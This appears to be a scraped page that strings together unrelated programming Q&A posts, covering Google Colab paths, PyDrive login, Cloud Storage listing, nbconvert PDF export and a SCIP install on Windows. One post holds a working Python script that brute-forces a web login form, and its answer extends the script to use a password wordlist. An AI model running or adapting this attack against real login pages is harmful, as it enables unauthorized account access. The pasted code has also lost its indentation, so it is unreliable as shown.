I work with google colab on my google drive. When I do
import os
cwd= os.getcwd()
print (cwd)
it return
/content
. How to obtain the path to my google colab file like
/content/drive/path_to_my_current_google_colab_file
from google.colab \
import drive
import os, glob
my_name = 'my.ipynb'
drive.mount(os.getcwd() + '/drive')
my_path = glob.glob(os.getcwd() + '/**/' +
my_name, recursive = True)
# some 'list comprehension'.
my_path = [my_i
for my_i in my_path if len(my_i) in [max([len(my_i)
for my_i in my_path])]
][0]; print(my_path)
Related
So, i have all important files in my account and i need to import that files to the local machine of colab and share the files can be dangerous and for any rason the files copy and paste theirself in the drive filling it, i try to use pydrive but i cant "automatize" the process of login with a user account. I need a form to automatize the process of login using colab, ideas?
`
from pydrive2.auth import GoogleAuth
from pydrive2.drive import GoogleDrive
from google_drive_downloader import GoogleDriveDownloader as gdd
gauth = GoogleAuth()
drive = GoogleDrive(gauth)
file = open("client_secrets.json", "w")
file.write('{"web": __')
file.close()
file = open("credentials.json", "w")
file.write('{"access_token": __"}')
file.close()
file = open("settings.json", "w")
file.write('')
if gauth.credentials is None:
gauth.CommandLineAuth()
elif gauth.access_token_expired:
gauth.Refresh()
else:
gauth.Authorize()
( __ = private information)
I have this code for Python on a local file system.
What is the equivalent Python object API for os.getcwd(), os.listdir?
I want this code to work using files from GCS?
In order to use GCS folders, I include this code
from google.cloud import storage
client = storage.Client()
bucket = client.bucket('my-bucket')
pdfDir = bucket.get_blob('uploads/pdf/')
txtDir = bucket.get_blob('uploads/txt/')
from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import os
import sys, getopt
#converts pdf, returns its text content as a string
def convert(fname, pages=None):
if not pages:
pagenums = set()
else:
pagenums = set(pages)
output = StringIO()
manager = PDFResourceManager()
converter = TextConverter(manager, output, laparams=LAParams())
interpreter = PDFPageInterpreter(manager, converter)
infile = file(fname, 'rb')
for page in PDFPage.get_pages(infile, pagenums):
interpreter.process_page(page)
infile.close()
converter.close()
text = output.getvalue()
output.close
return text
#converts all pdfs in directory pdfDir, saves all resulting txt files to
txtdir
def PDF2txt(pdfDir, txtDir):
if pdfDir == "": pdfDir = os.getcwd() + "\\" #if no pdfDir passed in
for pdf in os.listdir(pdfDir): #iterate through pdfs in pdf directory
fileExtension = pdf.split(".")[-1]
if fileExtension == "pdf":
pdfFilename = pdfDir + pdf
text = convert(pdfFilename) #get string of text content of pdf
textFilename = txtDir + pdf + ".txt"
textFile = open(textFilename, "w") #make text file
textFile.write(text) #write text to text file
pdfDir = "C:/pdftotxt/pdfs/"
txtDir = "C:/pdftotxt/txt/"
PDF2txt(pdfDir, txtDir)
I assume that what you want is to list objects in a bucket and objects in particular folders inside a bucket. For doing that you can use directly the Python Client Libraries that Google Cloud Storage provide. Use bucket.list_blobs() for listing the whole bucket and bucket.list_blobs(prefix=prefix, delimiter=delimiter) for listing a particular folder or object.
A more detailed documentation can be found here [1] and the Git repository containing the whole libraries here [2].
I am trying to export a pdf copy of a jupyter notebook using nbconvert from within a notebook cell. I have read the documentation, but I just cannot find some basic code to actually execute the nbconvert command and export to pdf.
I was able to get this far, but I was hoping that someone could just fill in the final gaps.
from nbconvert import PDFExporter
notebook_pdf = PDFExporter()
notebook_pdf.template_file = '../print_script/pdf_nocode.tplx'
Note sure how to get from here to actually getting the pdf created.
Any help would be appreciated.
I'm no expert, but managed to get this working. The key is that you need to preprocess the notebook which will allow you to use the PDFExporter.from_notebook_node() function. This will give you your pdf_data in byte format that can then be written to file:
import nbformat
from nbconvert.preprocessors import ExecutePreprocessor
from nbconvert import PDFExporter
notebook_filename = "notebook.ipynb"
with open(notebook_filename) as f:
nb = nbformat.read(f, as_version=4)
ep = ExecutePreprocessor(timeout=600, kernel_name='python3')
ep.preprocess(nb, {'metadata': {'path': 'notebooks/'}})
pdf_exporter = PDFExporter()
pdf_data, resources = pdf_exporter.from_notebook_node(nb)
with open("notebook.pdf", "wb") as f:
f.write(pdf_data)
f.close()
It's worth noting that the ExecutePreprocessor requires the resources dict, but we don't use it in this example.
Following is rest api that convert .ipynb file into .html
POST: http://URL/export/<id>
Get: http://URL/export/<id> will return a id.html
import os
from flask import Flask, render_template, make_response
from flask_cors import CORS
from flask_restful import reqparse, abort, Api, Resource
from nbconvert.exporters import HTMLExporter
exporter = HTMLExporter()
app = Flask(__name__)
cors = CORS(app, resources={r"/export/*": {"origins": "*"}})
api = Api(app)
parser = reqparse.RequestParser()
parser.add_argument('path')
notebook_file_srv = '/path of your .ipynb file'
def notebook_doesnt_exist(nb):
abort(404, message="Notebook {} doesn't exist".format(nb))
class Notebook(Resource):
def get(self, id):
headers = {'Content-Type': 'text/html'}
return make_response(render_template(id + '.html'), 200, headers)
def post(self, id):
args = parser.parse_args()
notebook_file = args['path']
notebook_file = notebook_file_srv + id + '.ipynb'
if not os.path.exists(notebook_file):
return 'notebook \'.ipynb\' file not found', 404
else:
nb_name, _ = os.path.splitext(os.path.basename(notebook_file))
# dirname = os.path.dirname(notebook_file)
output_path = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'templates')
output_path = os.path.join(output_path, '{}.html'.format(nb_name))
output, resources = exporter.from_filename(notebook_file)
f = open(output_path, 'wb')
f.write(output.encode('utf8'))
f.close()
return 'done', 201
api.add_resource(Notebook, '/export/<id>')
if __name__ == '__main__':
app.run(debug=True)
I have this Python script that bruteforces a web-form (login) using itertools.
How would I replace the bruteforce/dictionary generation process with a load-passwords-from-wordlist.txt feature?
My code:
#!/usr/bin/python
import mechanize
import itertools
br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
combos = itertools.permutations("a-zA-Z",5)
r = br.open("http://example.com/login")
for x in combos:
br.select_form(nr = 0)
br.form['username'] = "my_username_123"
br.form['password'] = ''.join(x)
print "Checking ",br.form['password']
response = br.submit()
if response.geturl()!="http://example.com/login":
print "Correct password is ",''.join(x)
break
Something like this could be added so if a password file is present in the command line arguments it will use that instead of the pre-defined list.
Example: python script.py password.txt
import sys
import os
if len(sys.argv) > 1:
if os.path.exists(sys.argv[1]):
combos = [line.strip() for line in open(sys.argv[1])]
else:
print "[-] File not found"
sys.exit(0)
else:
combos = itertools.permutations("a-zA-Z",5)
Recently I want to try some open source solvers instead of CPLEX. I found that PICOS + zibopt may be a good choice. However, I can merely find instruction on how to make zibopt work with python under windows properly. I downloaded the windows libraries (.dll file) of scip, and I try to install python-zibopt according to the command "python setup.py install". The error " blockmemshell/memory.h no such file" always popped out. I felt that it is because my compiler, which is VS120COMNTOOL, doecn't find the scip solver. Is there any chance that I can make scip work under windows now?
Did you have a look at the current python interface of SCIP 3.1.0? It uses the library from the SCIP Optimization Suite so you don't have to link another LP solver to SCIP.
On Windows, please try this modified setup.py file:
import sys, os, readline, glob, platform
from distutils.core import setup
from distutils.extension import Extension
from Cython.Distutils import build_ext
from Cython.Build import cythonize
BASEDIR = os.path.dirname(os.path.abspath(__file__))
BASEDIR = os.path.dirname(BASEDIR)
BASEDIR = os.path.dirname(BASEDIR)
INCLUDEDIR = os.path.join(BASEDIR,'src')
BASEDIR = os.path.dirname(BASEDIR)
#identify compiler version
prefix = "MSC v."
i = sys.version.find(prefix)
if i == -1:
raise Exception('cannot determine compiler version')
i = i + len(prefix)
s, rest = sys.version[i:].split(" ", 1)
majorVersion = int(s[:-2]) - 6
minorVersion = int(s[2:3]) / 10.0
if platform.architecture()[0].find('64')>=0:
LIBDIR = os.path.join(BASEDIR,'vc'+str(majorVersion),'scip_spx','x64','Release')
else:
LIBDIR = os.path.join(BASEDIR,'vc'+str(majorVersion),'scip_spx','Release')
print('BASEDIR='+ BASEDIR)
print('INCLUDEDIR='+ INCLUDEDIR)
print('LIBDIR='+ LIBDIR)
def complete(text, state):
return (glob.glob(text+'*')+[None])[state]
readline.set_completer_delims(' \t\n;')
readline.parse_and_bind("tab: complete")
readline.set_completer(complete)
libscipopt = 'lib/libscipopt.so'
includescip = 'include/scip'
ext_modules = []
ext_modules += [Extension('pyscipopt.scip', [os.path.join('pyscipopt', 'scip.pyx')],
#extra_compile_args=['-g', '-O0', '-UNDEBUG'],
include_dirs=[INCLUDEDIR],
library_dirs=[LIBDIR],
#runtime_library_dirs=[os.path.abspath('lib')],
libraries=['spx', 'scip_spx'])]
#libraries=['scipopt', 'readline', 'z', 'gmp', 'ncurses', 'm'])]
setup(
name = 'pyscipopt',
version = '0.1',
description = 'wrapper for SCIP in Python',
author = 'Zuse Institute Berlin',
author_email = 'scip#zib.de',
license = 'MIT',
cmdclass = {'build_ext' : build_ext},
ext_modules = ext_modules,
packages=['pyscipopt']
)